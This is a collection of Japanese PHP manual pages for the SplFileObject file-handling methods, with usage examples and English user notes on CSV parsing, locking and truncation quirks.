この関数は論理値 false を返す可能性がありますが、false として評価される値を返す可能性もあります。 詳細については 論理値の セクションを参照してください。この関数の返り値を調べるには ===演算子 を 使用してください。

例

例1 SplFileObject::fgetc() の例

<?php
$file = new SplFileObject('file.txt');
while (false !== ($char = $file->fgetc())) {
    echo "$char\n";
}
?>

参考

  • SplFileObject::fgets() - ファイルから 1 行取り出す

User Contributed Notes

There are no user contributed notes for this page.


ファイルから行を取り出し CSV フィールドとして処理する

  • ≪ SplFileObject::fgetc
  • SplFileObject::fgets ≫
  • PHP Manual
  • SplFileObject
  • ファイルから行を取り出し CSV フィールドとして処理する

SplFileObject::fgetcsv

(PHP 5 >= 5.1.0, PHP 7)

SplFileObject::fgetcsv — ファイルから行を取り出し CSV フィールドとして処理する

説明

public SplFileObject::fgetcsv
 ( string $delimiter = ","
, string $enclosure = "\""
, string $escape = "\\"
) : array

CSV フォーマットのファイルから行を取り出し読み込まれたフィールドを含む配列を返します。

注意:

この関数は、ロケール設定を考慮します。 LC_CTYPE がたとえば en_US.UTF-8 だった場合、 ファイルの1バイトのエンコーディングは、この関数では間違った読まれ方をする可能性があります。

パラメータ

delimiter

フィールドの区切り文字 (1 文字のみ)。デフォルトはカンマもしくは SplFileObject::setCsvControl() を使ってセットされた値です。

enclosure

フィールド囲み文字 (1 文字のみ)。デフォルトはダブルクォートもしくは SplFileObject::setCsvControl() を使ってセットされた値です。

escape

エスケープ文字 (最大で1文字)。デフォルトはバックスラッシュ (\) もしくは SplFileObject::setCsvControl() を使ってセットされた値です。 空文字列("")の場合、プロプライエタリなエスケープ機構が無効になります。

注意: enclosure の文字は、フィールド内で2回出力される ことでエスケープされます。しかし、 escape 文字はその代替として使えます。 デフォルトのパラメータの値 "" と \" は同じ意味を持ちます。 enclosure の文字を escape 文字でエスケープすることには、 特別な意味はありません。それ自身をエスケープする意味ですらありません。

返り値

読み込まれたフィールドを含む数値添字配列もしくはエラーのときは false を返します。

注意:

CSV ファイルの空白行は SplFileObject::SKIP_EMPTY | SplFileObject::DROP_NEW_LINE を使わない限り単独の null フィールドで構成される配列として返され、この場合空白行は読み飛ばされます。

変更履歴

バージョン | 説明
7.4.0 | escape パラメータは空文字列を受け入れるようになりました。 この場合、プロプライエタリなエスケープ機構が無効になります。

例

例1 SplFileObject::fgetcsv() の例

<?php
$file = new SplFileObject("data.csv");
while (!$file->eof()) {
    var_dump($file->fgetcsv());
}
?>

例2 SplFileObject::READ_CSV の例

<?php
$file = new SplFileObject("animals.csv");
$file->setFlags(SplFileObject::READ_CSV);
foreach ($file as $row) {
    list($animal, $class, $legs) = $row;
    printf("A %s is a %s with %d legs\n", $animal, $class, $legs);
}
?>

animals.csv の内容

crocodile,reptile,4
dolphin,mammal,0
duck,bird,2
koala,mammal,4
salmon,fish,0

上の例の出力は、 たとえば以下のようになります。

A crocodile is a reptile with 4 legs
A dolphin is a mammal with 0 legs
A duck is a bird with 2 legs
A koala is a mammal with 4 legs
A salmon is a fish with 0 legs

参考

  • SplFileObject::setCsvControl() - CSV の区切り文字、囲み文字、エスケープ文字をセットする
  • SplFileObject::setFlags() - SplFileObject のフラグをセットする
  • SplFileObject::READ_CSV
  • SplFileObject::current() - ファイルの現在の行を取得する

User Contributed Notes

jbrauer 17-Feb-2020 04:28
Also while the enclosure character cannot be NULL you can set it to ASCII NUL character chr(0) with the same practical effect.
android991 at gmail dot com 18-Feb-2019 11:31
Be aware.
There is bug 46569 persists that breaks usage of SplFileObject::fgetcsv() after SplFileObject::seek()-ing to a non-zero position and then returns the contents of wrong line - off by one
<?php
$file = new SplFileObject('foo/bar.csv');
$file->seek(1);
print_r($file->fgetcsv()); // reads 3rd line against 2nd
Denitz 27-Sep-2018 12:45
If your CSV doesn't have enclosures, you can face an issue with default " identified as enclosure in data. Empty $enclosure is not allowed, but you can use same $enclosure as $delimiter (\n by default) to emulate empty enclosure.
vaughn dot clayton+php at servicetrade dot com 14-Nov-2012 02:15
Note that due to bugs 55807 and 61032, introduced in 5.3.8, if the csv in example #2 has a newline character at the end of each line, the foreach will execute 6 times.

The last time through the loop $row will be bool(false). This is true even if using SplFileObject::SKIP_EMPTY and SplFileObject::DROP_NEW_LINE.

Until the bug is fixed, the workaround is to also add SplFileObject::READ_AHEAD to your setFlags() call.
v-fpiris at teknober dot com 21-May-2011 07:56
after setting the delimiter '\t' fgetcsv() truncates the value when it is empty string

workaround:

<?php
$file = new SplFileObject($path);
$file->setFlags(SplFileObject::DROP_NEW_LINE);
while ($file->valid()) {
    $line = $file->fgets();
    $line = explode("\t", $line);

    print_r($line);
}
?>


ファイルから 1 行取り出す

  • ≪ SplFileObject::fgetcsv
  • SplFileObject::fgetss ≫
  • PHP Manual
  • SplFileObject
  • ファイルから 1 行取り出す

SplFileObject::fgets

(PHP 5 >= 5.1.0, PHP 7)

SplFileObject::fgets — ファイルから 1 行取り出す

説明

public SplFileObject::fgets ( ) : string

ファイルから 1 行取り出します。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルから次の行を含む文字列、もしくはエラーのときは false を返します。

エラー / 例外

ファイルが読み込みできない場合 RuntimeException がスローされます。

例

例1 SplFileObject::fgets() の例

この例では file.txt の内容が 1 行ごとに出力されます。

<?php
$file = new SplFileObject("file.txt");
while (!$file->eof()) {
    echo $file->fgets();
}
?>

参考

  • fgets() - ファイルポインタから 1 行取得する
  • SplFileObject::fgetss() - ファイルから 1 行取り出し HTML タグを取り除く
  • SplFileObject::fgetc() - ファイルから文字を取り出す
  • SplFileObject::current() - ファイルの現在の行を取得する

User Contributed Notes

Chris Johnson 22-Jan-2018 09:45
Note that this method will cause a PHP fatal error if the file being read contains no recognizable line termination characters and is larger than the allowable memory size for PHP to allocate, i.e. memory_limit set in php.ini or similar.  In other words, PHP keeps reading until it finds a line termination, if it runs out of memory first, it will throw a fatal error.

This is different from the file resource fread() function, which allows an optional maximum length argument to be passed to limit this behavior.


ファイルから 1 行取り出し HTML タグを取り除く

  • ≪ SplFileObject::fgets
  • SplFileObject::flock ≫
  • PHP Manual
  • SplFileObject
  • ファイルから 1 行取り出し HTML タグを取り除く

SplFileObject::fgetss

(PHP 5 >= 5.1.0, PHP 7)

SplFileObject::fgetss — ファイルから 1 行取り出し HTML タグを取り除く

警告

この関数は PHP 7.3.0 で 非推奨 になり、PHP 8.0.0 で 削除 されました。この関数に頼らないことを強く推奨します。

説明

public SplFileObject::fgetss ( string $allowable_tags = ? ) : string

SplFileObject::fgetss() 読み込むテキストから HTML と PHP タグを取り除こうとすること以外、SplFileObject::fgets() と同じです。 この関数は、ある呼び出しから別の呼び出しの間のパースの状態を保持します。 したがって、これは SplFileObject::fgets() の戻り値に対して strip_tags() 関数を呼び出すのと同じではありません。

パラメータ

allowable_tags

オプションのパラメータで、取り除きたくないタグを指定します。

返り値

HTML と PHP コードが取り除かれたファイルの次の行を含む文字列、もしくは false を返します。

例

例1 SplFileObject::fgetss() の例

<?php
$str = <<<EOD
<html><body>
 <p>Welcome! Today is the <?php echo(date('jS')); ?> of <?= date('F'); ?>.</p>
</body></html>
Text outside of the HTML block.
EOD;
file_put_contents("sample.php", $str);

$file = new SplFileObject("sample.php");
while (!$file->eof()) {
    echo $file->fgetss();
}
?>

上の例の出力は、 たとえば以下のようになります。

 Welcome! Today is the  of .

Text outside of the HTML block.

参考

  • fgetss() - ファイルポインタから 1 行取り出し、HTML タグを取り除く
  • SplFileObject::fgets() - ファイルから 1 行取り出す
  • SplFileObject::fgetc() - ファイルから文字を取り出す
  • SplFileObject::current() - ファイルの現在の行を取得する
  • The string.strip_tags filter

User Contributed Notes

There are no user contributed notes for this page.


簡易なファイルロックを行う

  • ≪ SplFileObject::fgetss
  • SplFileObject::fpassthru ≫
  • PHP Manual
  • SplFileObject
  • 簡易なファイルロックを行う

SplFileObject::flock

(PHP 5 >= 5.1.0, PHP 7)

SplFileObject::flock — 簡易なファイルロックを行う

説明

public SplFileObject::flock ( int $operation , int &$wouldblock = ? ) : bool

flock() と同じ簡易な方法でファイルをロックもしくはロック解除する。

パラメータ

operation

operation は次のいずれかです:

  • 共有ロック (読み手) にするには LOCK_SH。
  • 排他ロック (書き手) にするには LOCK_EX。
  • (共有もしくは排他) ロックを解除するには LOCK_UN。

ロックを試みている間に flock() がブロックすべきでない場合は、上の操作のいずれかに LOCK_NB をビットマスクとして追加できます。

wouldblock

ロックがブロックされる場合 (errno が EWOULDBLOCK である)、true にセットします。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 SplFileObject::flock() の例

<?php
$file = new SplFileObject("/tmp/lock.txt", "w");
if ($file->flock(LOCK_EX)) { // 排他ロックを行う
    $file->ftruncate(0);     // ファイルを丸める
    $file->fwrite("ここで何かを書き出します\n");
    $file->flock(LOCK_UN);   // ロックを解除する
} else {
    echo "ロックを取得できませんでした！";
}
?>

参考

  • flock() - 汎用のファイルロックを行う

User Contributed Notes

digitalprecision at gmail dot com 24-Dec-2010 02:48
For the record, the example given here has an explicit command to truncate the file, however with a 'write mode' of 'w', it will do this for you automatically, so the truncate call is not needed.


ファイルポインタに残っているデータをすべて出力する

  • ≪ SplFileObject::flock
  • SplFileObject::fputcsv ≫
  • PHP Manual
  • SplFileObject
  • ファイルポインタに残っているデータをすべて出力する

SplFileObject::fpassthru

(PHP 5 >= 5.1.0, PHP 7)

SplFileObject::fpassthru — ファイルポインタに残っているデータをすべて出力する

説明

public SplFileObject::fpassthru ( ) : int

与えられたファイルポインタの現在位置から終端までを読み込み結果を出力バッファに書き出します。

既にデータをファイルに書き込んでいる場合、ファイルポインタをファイルの始めにリセットするために SplFileObject::rewind() を呼び出すことが必要になる場合があります。

パラメータ

この関数にはパラメータはありません。

返り値

handle から読み込まれ出力を通して渡された文字数を返します。

例

例1 SplFileObject::fpassthru() の例

<?php

// ファイルをバイナリモードでオープンする
$file = new SplFileObject("./img/ok.png", "rb");

// 正しいヘッダを送出する
header("Content-Type: image/png");
header("Content-Length: " . $file->getSize());

// 画像をダンプしてスクリプトを終了させる
$file->fpassthru();
exit;

?>

参考

  • fpassthru() - ファイルポインタ上に残っているすべてのデータを出力する

User Contributed Notes

There are no user contributed notes for this page.


フィールドの配列を CSV の行として書き出す

  • ≪ SplFileObject::fpassthru
  • SplFileObject::fread ≫
  • PHP Manual
  • SplFileObject
  • フィールドの配列を CSV の行として書き出す

SplFileObject::fputcsv

(PHP 5 >= 5.4.0, PHP 7)

SplFileObject::fputcsv — フィールドの配列を CSV の行として書き出す

説明

public SplFileObject::fputcsv
 ( array $fields
, string $delimiter = ","
, string $enclosure = '"'
, string $escape = "\\"
) : int|false

fields の配列を、CSV の行としてファイルに書き出します。

パラメータ

fields

値の配列。

delimiter

オプションで指定する、フィールドの区切り文字 (一文字のみ)。

enclosure

オプションで指定する。フィールドの囲み文字 (一文字のみ)。

escape

オプションの escape は、エスケープ文字 (最大で一文字) を指定します。 空文字列 ("") を与えると、プロプライエタリなエスケープ機構を無効にします。

注意:

enclosure がフィールド内に含まれる場合は、同じ文字を二度続けることでエスケープします。 ただし、その直前に escape_char がある場合は別です。

返り値

書き出した文字列の長さを返します。失敗した場合に false を返します。

delimiter や enclosure が一文字でない場合は false を返し、何もファイルに書き出しません。

エラー / 例外

delimiter や enclosure が一文字でない場合は E_WARNING レベルのエラーが発生します。

変更履歴

バージョン | 説明
7.4.0 | escape パラメータは空文字列を受け入れるようになりました。 この場合、プロプライエタリなエスケープ機構が無効になります。
5.5.21, 5.6.5 | escape パラメータが追加されました。

例

例1 SplFileObject::fputcsv() の例

<?php

$list = array (
    array('aaa', 'bbb', 'ccc', 'dddd'),
    array('123', '456', '789'),
    array('"aaa"', '"bbb"')
);

$file = new SplFileObject('file.csv', 'w');

foreach ($list as $fields) {
    $file->fputcsv($fields);
}

?>

上の例は、次の内容をファイル file.csv に書き出します。

aaa,bbb,ccc,dddd
123,456,789
"""aaa""","""bbb"""

参考

  • fputcsv() - 行を CSV 形式にフォーマットし、ファイルポインタに書き込む
  • SplFileObject::fgetcsv() - ファイルから行を取り出し CSV フィールドとして処理する

User Contributed Notes

sergiy dot sokolenko at gmail dot com 25-Jan-2012 01:17
This method is available in PHP 5.4 and it is just a wrapper over php.net/fputcsv.


ファイルから読み取る

  • ≪ SplFileObject::fputcsv
  • SplFileObject::fscanf ≫
  • PHP Manual
  • SplFileObject
  • ファイルから読み取る

SplFileObject::fread

(PHP 5 >= 5.5.11, PHP 7)

SplFileObject::fread — ファイルから読み取る

説明

public SplFileObject::fread ( int $length ) : string|false

ファイルから与えられたバイト数だけ読み取ります。

パラメータ

length

読み取るバイト数

返り値

ファイルから読み取った文字列を返します。 失敗した場合に false を返します

例

例1 SplFileObject::fread() の例

<?php
// Get contents of a file into a string
$filename = "/usr/local/something.txt";
$file = new SplFileObject($filename, "r");
$contents = $file->fread($file->getSize());
?>

注意

注意:

SplFileObject::fread() は、 ファイルポインタの現在の位置から読み取ることに注意してください。 ポインタの現在の位置を知るには SplFileObject::ftell() を使い、 ポインタの位置を巻き戻すには、 SplFileObject::rewind() (または SplFileObject::fseek()) を使ってください。

参考

  • fread() - バイナリセーフなファイルの読み込み

User Contributed Notes

There are no user contributed notes for this page.


フォーマットに従ってファイルからの入力をパースする

  • ≪ SplFileObject::fread
  • SplFileObject::fseek ≫
  • PHP Manual
  • SplFileObject
  • フォーマットに従ってファイルからの入力をパースする

SplFileObject::fscanf

(PHP 5 >= 5.1.0, PHP 7)

SplFileObject::fscanf — フォーマットに従ってファイルからの入力をパースする

説明

public SplFileObject::fscanf ( string $format , mixed &...$vars ) : mixed

ファイルから 1 行読み込み、sprintf() のドキュメントで説明される規定の format に従って解釈されます。

format 文字列のホワイトスペースはファイルからの行のホワイトスペースとマッチします。このことが意味するのはフォーマット文字列のタブ (\t) でさえも入力ストリームの 1 つのスペース文字とマッチしてしまうということです。

パラメータ

format

0個以上のディレクティブで構成されるフォーマット文字列: 変換結果に直接コピーされる通常文字列 (% は除きます) と、変換仕様。 これらのいずれも、自分が持つパラメータを取得します。

変換の仕様は、以下のプロトタイプに従います: %[argnum$][flags][width][.precision]specifier.

Argnum

何番目の引数を変換の対象にするかを指定するために、 数値の後にドル記号 $ を続けます。

フラグ一覧
フラグ | 説明
- 与えられたフィールドの幅を左寄せにします。 右寄せがデフォルトです。
+ 正の数値の前に付ける + 符号です; デフォルトは、負の数にだけマイナスの符号が数値の前に付きます。
(space) | スペースに変換される詰め物です。 これがデフォルトです。
0 | 数値の左側を0埋めします。 s 指定子を使うと、 右側にも0埋めできます。
'(char) | 指定された (char) で埋めます。

Width

(最小で)何文字がこの変換結果に含まれるかを数値で指定します。

Precision

ピリオド . の後に数値を続けますが、 その意味は指定子に依存します:

  • e, E, f と F 指定子の場合: 小数点の後に表示する桁数 (デフォルトでは、この値は6です)
  • g と G 指定子の場合: 表示する最大の有効桁数
  • s 指定子の場合: 文字列を切り捨てる時点、つまり、文字列の最大の長さを設定します。

注意: 明示的に精度を指定せず、ピリオドを指定した場合、精度は0として扱われます。

注意: 位置を示す指定子に、PHP_INT_MAX を超える値を指定すると、警告が発生します。

指定子の一覧
指定子 | 説明
% 文字通り、パーセント文字です。 引数は不要です。
b | 引数は数値として扱われ、バイナリ値として表現されます。
c | 引数は数値として扱われ、ASCII文字として表現されます。
d | 引数は数値として扱われ、(符号付き)小数値として表現されます。
e | 引数は科学的記法で表現された値(e.g. 1.2e+2)として扱われます。 PHP 5.2.1 以降では、precision 指定子が小数点以降の桁数を表します。 それより前のバージョンでは、(ひと桁少ない) 有効桁数として解釈されていました。
E | e 指定子に似ていますが、 大文字を使います(e.g. 1.2E+2)
f | 引数は小数として扱われ、浮動小数値として表現されます(ロケールを考慮します)。
F | 引数は小数として扱われ、浮動小数値として表現されます(ロケールを考慮しません)。 PHP 5.0.3 以降で利用可能です
g

汎用フォーマット

P を精度を表す、ゼロでない値とします。 精度が省略された場合、Pの値は6です。 精度に0を指定した場合、Pの値は1になります。 この場合、 E 指定子の変換結果は、 X乗になります。

P > X ? ?4 の場合、E 指定子の変換結果となり、精度は、P ? (X + 1) になります。 そうでない場合、e 指定子の変換結果となり、 精度は、P - 1 になります。

G | g 指定子に似ていますが、 E と f を使います。
h | g 指定子に似ていますが、 F を使います。 PHP 8.0.0 以降で利用可能です。
H | g 指定子に似ていますが、 E と F を使います。 PHP 8.0.0 以降で利用可能です。
o | 引数は数値として扱われ、8進数値として表現されます。
s | 引数は文字列として扱われ、文字列として表現されます。
u | 引数は数値として扱われ、符号なし小数値として表現されます。
x | 引数は数値として扱われ、16進数値(小文字)として表現されます。
X | 引数は数値として扱われ、16進数値(大文字)として表現されます。

警告

c 指定子はパディングと幅を無視します

警告

文字列と width 指定子を、1文字の表現に1バイト以上必要な文字セットと一緒に使おうとすると、 期待しない結果になるかもしれません。

値は、指定子の型に合うように強制されます:

型のハンドリング
型 | 指定子
string | s
integer | d, u, c, o, x, X, b
double | g, G, e, E, f, F

vars

オプションの割り当て値。

返り値

このメソッドに渡される引数がひとつしかない場合、処理される値は配列として返されます。そうでなければ、オプションパラメータが渡される場合、メソッドは割り当て値の個数を返します。オプションパラメータは参照渡しでなければなりません。

例

例1 SplFileObject::fscanf() の例

<?php
$file = new SplFileObject("misc.txt");
while ($userinfo = $file->fscanf("%s %s %s")) {
    list ($name, $profession, $countrycode) = $userinfo;
    // $name $profession $countrycode で何かを行う
}
?>

users.txt の内容

javier   argonaut    pe
hiroshi  sculptor    jp
robert   slacker     us
luigi    florist     it

参考

  • fscanf() - フォーマットに基づきファイルからの入力を処理する
  • sscanf() - フォーマット文字列に基づき入力を処理する
  • printf() - フォーマット済みの文字列を出力する
  • sprintf() - フォーマットされた文字列を返す

User Contributed Notes

There are no user contributed notes for this page.


ファイルポインタを移動させる

  • ≪ SplFileObject::fscanf
  • SplFileObject::fstat ≫
  • PHP Manual
  • SplFileObject
  • ファイルポインタを移動させる

SplFileObject::fseek

(PHP 5 >= 5.1.0, PHP 7)

SplFileObject::fseek — ファイルポインタを移動させる

説明

public SplFileObject::fseek ( int $offset , int $whence = SEEK_SET ) : int

offset を whence で指定される位置に追加することで、ファイルの始めからバイト単位でファイルポイントを移動させます。

パラメータ

offset

オフセットです。負の値はポインタを戻すために使うことができます。これは SEEK_END が whence の値として使われるときに便利です。

whence

whence の値は次のようなものになります:

  • SEEK_SET - offset バイトに等しい位置にセットします。
  • SEEK_CUR - 現在の位置に offset を加えた位置にセットします。
  • SEEK_END - 終端に offset を加えた位置にセットします。

whence が指定されない場合、SEEK_SET が前提になります。

返り値

探索が成功した場合は 0、そうでなければ -1 が返されます。終端より先の位置を探索してもエラーにならないことにご注意してください。

例

例1 SplFileObject::fseek() の例

<?php
$file = new SplFileObject("somefile.txt");

// 最初の行を読み込む
$data = $file->fgets();

// ファイルの最初に戻る
// $file->rewind(); と同じ
$file->fseek(0);
?>

参考

  • fseek() - ファイルポインタを移動する

User Contributed Notes

There are no user contributed notes for this page.


ファイルの情報を得る

  • ≪ SplFileObject::fseek
  • SplFileObject::ftell ≫
  • PHP Manual
  • SplFileObject
  • ファイルの情報を得る

SplFileObject::fstat

(PHP 5 >= 5.1.0, PHP 7)

SplFileObject::fstat — ファイルの情報を得る

説明

public SplFileObject::fstat ( ) : array

ファイルの統計情報を集めます。fstat() とまったく同じようにふるまいます。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルの統計情報の配列を返します; 配列フォーマットの詳細は stat() のマニュアルページを参照してください。

例

例1 SplFileObject::fstat() の例

<?php
$file = new SplFileObject("/etc/passwd");
$stat = $file->fstat();

// 連想配列の部分だけ表示する
print_r(array_slice($stat, 13));

?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [dev] => 771
    [ino] => 488704
    [mode] => 33188
    [nlink] => 1
    [uid] => 0
    [gid] => 0
    [rdev] => 0
    [size] => 1114
    [atime] => 1061067181
    [mtime] => 1056136526
    [ctime] => 1056136526
    [blksize] => 4096
    [blocks] => 8
)

参考

  • fstat() - オープンしたファイルポインタからファイルに関する情報を取得する
  • stat() - ファイルに関する情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


ファイルポインタの現在位置を返す

  • ≪ SplFileObject::fstat
  • SplFileObject::ftruncate ≫
  • PHP Manual
  • SplFileObject
  • ファイルポインタの現在位置を返す

SplFileObject::ftell

(PHP 5 >= 5.1.0, PHP 7)

SplFileObject::ftell — ファイルポインタの現在位置を返す

説明

public SplFileObject::ftell ( ) : int

ファイルストリームにおいて現在のオフセットを表すファイルポインタの現在位置を返します。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルポインタの位置を整数として、もしくはエラーのときは false を返します。

例

例1 SplFileObject::ftell() の例

<?php
$file = new SplFileObject("/etc/passwd");

// 最初の行を読み込む
$data = $file->fgets();

// どこにいるのか？
echo $file->ftell();
?>

参考

  • ftell() - ファイルの読み書き用ポインタの現在位置を返す

User Contributed Notes

There are no user contributed notes for this page.


ファイルを指定した長さに丸める

  • ≪ SplFileObject::ftell
  • SplFileObject::fwrite ≫
  • PHP Manual
  • SplFileObject
  • ファイルを指定した長さに丸める

SplFileObject::ftruncate

(PHP 5 >= 5.1.0, PHP 7)

SplFileObject::ftruncate — ファイルを指定した長さに丸める

説明

public SplFileObject::ftruncate ( int $size ) : bool

ファイルを size バイトに丸めます。

パラメータ

size

丸めるサイズ。

注意:

size がファイルのサイズより大きい場合、ファイルは null バイトで拡大されます。

size がファイルのサイズより小さい場合、余分なデータは失われます。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 SplFileObject::ftruncate() の例

<?php
// "Hello World!" が格納されるファイルを作成する
$file = new SplFileObject("/tmp/ftruncate", "w+");
$file->fwrite("Hello World!");

// 5 バイトに丸める
$file->ftruncate(5);

// 巻き戻してデータを読み出す
$file->rewind();
echo $file->fgets();
?>

上の例の出力は、 たとえば以下のようになります。

Hello

参考

  • ftruncate() - ファイルを指定した長さに丸める

User Contributed Notes

irvinezega at hotmail dot com 22-Aug-2018 05:53
I suppose a fair number of us know this:

However, for those who don't:-

If you are truncating a file, say, to $fileObject->ftruncate(0), then, it may be advisable to call $fileObject->fseek(0) first (before you call '$fileObject->ftruncate').

On inspection, I was encountering 'NULL' characters at the beginning of a, or the, file.

Hence, from what I have surmised; when 'ftruncate()' is called, the file pointer does NOT move to the beginning (or, at least, the required position) of the file.

This issue cost me a fair amount of time to figure out, so I hope it helps someone.


ファイルに書き込む

  • ≪ SplFileObject::ftruncate
  • SplFileObject::getChildren ≫
  • PHP Manual
  • SplFileObject
  • ファイルに書き込む

SplFileObject::fwrite

(PHP 5 >= 5.1.0, PHP 7)

SplFileObject::fwrite — ファイルに書き込む

説明

public SplFileObject::fwrite ( string $str , int $length = ? ) : int

Writes the contents of string to the file

パラメータ

str

ファイルに書き込まれる文字列。

length

length 引数が渡される場合、length バイト分だけ書き込まれた後もしくは string の終端に達するのどちらか早い方の後で書き込みが停止します。

返り値

書き込まれるバイト数、もしくはエラーの場合 false を返します。

変更履歴

バージョン | 説明
7.4.0 | この関数は、失敗した時に0ではなく false を返すようになりました。

例

例1 SplFileObject::fwrite() の例

<?php
$file = new SplFileObject("fwrite.txt", "w");
$written = $file->fwrite("12345");
echo "$written バイトをファイルに書き込みました";
?>

上の例の出力は、 たとえば以下のようになります。

Wrote 5 bytes to file

参考

  • fwrite() - バイナリセーフなファイル書き込み処理

User Contributed Notes

bas dot hilbers at tribal-im dot com 07-Nov-2013 12:47
Your \SplFileObject will not throw an exception when trying to write to a non-writeable stream!

I forgot to set the second parameter on my \SplFileObject constructor (the mode), costing me minutes to figure out why nothing was writter by the fwrite method...

Just to let you know!


用途はなし

  • ≪ SplFileObject::fwrite
  • SplFileObject::getCsvControl ≫
  • PHP Manual
  • SplFileObject
  • 用途はなし

SplFileObject::getChildren

(PHP 5 >= 5.1.0, PHP 7)

SplFileObject::getChildren — 用途はなし

説明

public SplFileObject::getChildren ( ) : void

SplFileObject は子を持たないのでこのメソッドは null を返します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • RecursiveIterator::getChildren() - 現在のエントリのイテレータを返す

User Contributed Notes

There are no user contributed notes for this page.


CSV の区切り、囲み文字、エスケープ文字を取得する

  • ≪ SplFileObject::getChildren
  • SplFileObject::getCurrentLine ≫
  • PHP Manual
  • SplFileObject
  • CSV の区切り、囲み文字、エスケープ文字を取得する

SplFileObject::getCsvControl

(PHP 5 >= 5.2.0, PHP 7)

SplFileObject::getCsvControl — CSV の区切り、囲み文字、エスケープ文字を取得する

説明

public SplFileObject::getCsvControl ( ) : array

CSV フィールドを処理するのに使われる区切りと囲み文字とエスケープ文字を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

区切りと囲み文字とエスケープ文字を含む数字添字配列を返します。

変更履歴

バージョン | 説明
7.4.0 | エスケープ文字は空文字列でも問題なくなりました。
5.6.25, 7.0.10 | 返り値の配列にエスケープ文字が追加されました。

例

例1 SplFileObject::getCsvControl() の例

<?php
$file = new SplFileObject("data.txt");
print_r($file->getCsvControl());
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => ,
    [1] => "
    [2] => \
)

参考

  • SplFileObject::setCsvControl() - CSV の区切り文字、囲み文字、エスケープ文字をセットする
  • SplFileObject::fgetcsv() - ファイルから行を取り出し CSV フィールドとして処理する

User Contributed Notes

greg dot bowler at g105b dot com 06-Feb-2015 05:47
Note that this function does not magically guess the CSV control from a given file, rather it returns what has been priorly set with SplFileObject::setCsvControl().
Anonymous 11-Sep-2013 02:07
Seems that this function always returns the same delimiter.

<?php
file_put_contents("A;B;C;D\n0;0;0;0", "test.txt");

$file = new SplFileObject("test.txt");
var_dump($file->getCsvControl());
?>

array(2) {
  [0]=>
  string(1) ","
  [1]=>
  string(1) """
}


SplFileObject::fgets のエイリアス

  • ≪ SplFileObject::getCsvControl
  • SplFileObject::getFlags ≫
  • PHP Manual
  • SplFileObject
  • SplFileObject::fgets のエイリアス

SplFileObject::getCurrentLine

(PHP 5 >= 5.1.2, PHP 7)

SplFileObject::getCurrentLine — SplFileObject::fgets() のエイリアス

説明

このメソッドは次のメソッドのエイリアスです。 SplFileObject::fgets()

User Contributed Notes

There are no user contributed notes for this page.


SplFileObject のフラグを取得する

  • ≪ SplFileObject::getCurrentLine
  • SplFileObject::getMaxLineLen ≫
  • PHP Manual
  • SplFileObject
  • SplFileObject のフラグを取得する

SplFileObject::getFlags

(PHP 5 >= 5.1.0, PHP 7)

SplFileObject::getFlags — SplFileObject のフラグを取得する

説明

public SplFileObject::getFlags ( ) : int

SplFileObject のインスタンス用のフラグセットを int 形式で取得します。

パラメータ

この関数にはパラメータはありません。

返り値

フラグを表す int を返します。

例

例1 SplFileObject::getFlags() の例

<?php
$file = new SplFileObject(__FILE__, "r");

if ($file->getFlags() & SplFileObject::SKIP_EMPTY) {
    echo "空行を読み飛ばします\n";
} else {
    echo "空行を読み飛ばしません\n";
}

$file->setFlags(SplFileObject::SKIP_EMPTY);

if ($file->getFlags() & SplFileObject::SKIP_EMPTY) {
    echo "空行を読み飛ばします\n";
} else {
    echo "空行を読み飛ばしません\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

空行を読み飛ばしません
空行を読み飛ばします

参考

  • SplFileObject::setFlags() - SplFileObject のフラグをセットする

User Contributed Notes

There are no user contributed notes for this page.


行の最大バイト数を取得する

  • ≪ SplFileObject::getFlags
  • SplFileObject::hasChildren ≫
  • PHP Manual
  • SplFileObject
  • 行の最大バイト数を取得する

SplFileObject::getMaxLineLen

(PHP 5 >= 5.1.0, PHP 7)

SplFileObject::getMaxLineLen — 行の最大バイト数を取得する

説明

public SplFileObject::getMaxLineLen ( ) : int

SplFileObject::setMaxLineLen() によってセットされる行の最大バイト数を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

SplFileObject::setMaxLineLen() でセットされる場合は行の最大バイト数を返します。デフォルトは 0 です。

例

例1 SplFileObject::getMaxLineLen() の例

<?php
$file = new SplFileObject("file.txt");
var_dump($file->getMaxLineLen());

$file->setMaxLineLen(20);
var_dump($file->getMaxLineLen());
?>

上の例の出力は、 たとえば以下のようになります。

int(0)
int(20)

参考

  • SplFileObject::setMaxLineLen() - 読み込む行の最大バイト数をセットする

User Contributed Notes

There are no user contributed notes for this page.


SplFileObject は子を持ちません

  • ≪ SplFileObject::getMaxLineLen
  • SplFileObject::key ≫
  • PHP Manual
  • SplFileObject
  • SplFileObject は子を持ちません

SplFileObject::hasChildren

(PHP 5 >= 5.1.2, PHP 7)

SplFileObject::hasChildren — SplFileObject は子を持ちません

説明

public SplFileObject::hasChildren ( ) : bool

SplFileObject は子を持たないのでこのメソッドは常に false を返します。

パラメータ

この関数にはパラメータはありません。

返り値

Returns false

参考

  • RecursiveIterator::hasChildren() - 現在のエントリのイテレータを作れるかどうかを返す

User Contributed Notes

There are no user contributed notes for this page.


行番号を取得する

  • ≪ SplFileObject::hasChildren
  • SplFileObject::next ≫
  • PHP Manual
  • SplFileObject
  • 行番号を取得する

SplFileObject::key

(PHP 5 >= 5.1.0, PHP 7)

SplFileObject::key — 行番号を取得する

説明

public SplFileObject::key ( ) : int

現在の行番号を取得します。

注意:

固定長のファイルを読み込むのに SplFileObject::setMaxLineLen() が使われている場合 この数はファイルの実際の行番号を反映しない可能性があります。

パラメータ

この関数にはパラメータはありません。

返り値

現在の行番号を返します。

例

例1 SplFileObject::key() の例

<?php
$file = new SplFileObject("lipsum.txt");
foreach ($file as $line) {
    echo $file->key() . ". " . $line;
}
?>

上の例の出力は、 たとえば以下のようになります。

0. Lorem ipsum dolor sit amet, consectetur adipiscing elit.
1. Duis nec sapien felis, ac sodales nisl.
2. Lorem ipsum dolor sit amet, consectetur adipiscing elit.

